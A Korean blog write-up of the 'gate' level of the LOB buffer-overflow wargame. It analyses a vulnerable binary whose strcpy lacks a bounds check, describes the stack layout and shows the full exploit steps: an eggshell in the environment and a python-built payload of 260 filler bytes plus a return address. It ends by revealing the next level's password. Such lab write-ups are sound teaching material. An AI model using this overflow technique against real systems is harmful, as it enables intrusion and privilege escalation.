본문으로 바로가기

[ LOB gate ]


id : gate

password : gate 로 접속한다.





1. ls -l

2. mkdir tmp

3. cp gremlin tmp


ls 명령어로 파일을 확인하고, mkdir 명령어로 tmp 디렉토리를 만들어 gremlin 을 cp 명령어를 이용하여 복사해두자.

tmp 디렉토리에서 여러가지 작업 ( gdb, eggshell 등등 ) 을 진행하기 위함이다.




- 코드분석 -


main 에서 인자를 전달받고, if문에서 main 인자의 개수가 2개 이상이면 강제로 프로그램을 종료한다. 


( 알고보니까 if문의 내용은 별다른 인자전달이 없을때는 오류를 출력한다는 의미였네요.)


strcpy에서는 main 함수에서 받은 argv[1]를 버퍼에 대입할때 크기 검사를 하지 않으므로 버퍼오버플로우 공격이 가능하다. 







1. cd tmp

2. vi eggshell.c

3. vi getenv2.c

4. gcc -o eggshell eggshell.c

5. gcc -o getenv2 getenv2.c


cd 명령어로 tmp 디렉토리로 이동하고, eggshell과 getenv를 컴파일한다. 그리고 gcc를 사용해 c파일들을 컴파일한다.


에그쉘의 소스는 https://sunrinjuntae.tistory.com/4?category=700798 

getenv의 소스는 https://sunrinjuntae.tistory.com/5?category=700798


gdb 디버거로 취약점이있는 gremlin 파일을 분석하자.

main 부터 main + 3 까지 스택을 구성한다.


16진수로 100만큼 esp를 sub 했으므로 스택의 크기는 10진수 256 (0x100) 이다.




- 공격방법 -


현재 스택의 구조를 그려보면


buf ( 256 )

sfp ( 4 )

ret ( 4 )


이다.


일단 컴파일한 eggshell을 실행시켜서 쉘코드가 위치한 주소를 불러온다. 그리고 보다 정확한 주소를 불러오기 위해서 getenv2를 실행시킨다.


우리는 ret을 getenv2로 얻은 에그쉘의 주소로 덮어씌워야 한다.


따라서 buf와 sfp에 의미없는 값 ( A ) 을 넣어주고, ret에 에그쉘의 주소를 리틀엔디안으로 입력해준다.


편한 인자전달을 위해 perl, python 등을 사용할 수 있다.




260 개의 의미없는 값 + 쉘코드가 있는 주소


=> `python -c 'print "A'*260+"\xeb\xf5\xff\xbf"'`







1. ./egg

2. ./getenv2 EGG

3. ./gremlin `python -c 'print "A"*260+"\xeb\xf5\xff\xbf"'`

4. ./bash2

5. ./gremlin `python -c 'print "A"*260+"\xeb\xf5\xff\xbf"'`



Segmentation fault 오류이다. 버퍼오버플로우가 제대로 작동하였지만 쉘코드가 ret에 제대로 변조되지 않았다.


그 이유는 bash2를 입력하지않아서 리눅스가 \xff를 입력받지 못했기 때문이다.

lob는 버전이 6.2 redhat 리눅스로 구동하기 때문에,\xff를 인식하지 못한다.







1. id

2. my-pass

bash2를 입력하고 난 후 공격을 시도했더니, 다음과 같이 쉘이 떨어졌다.


이로써 gate 를 클리어하였다. 

pw는 hello bof world 이다.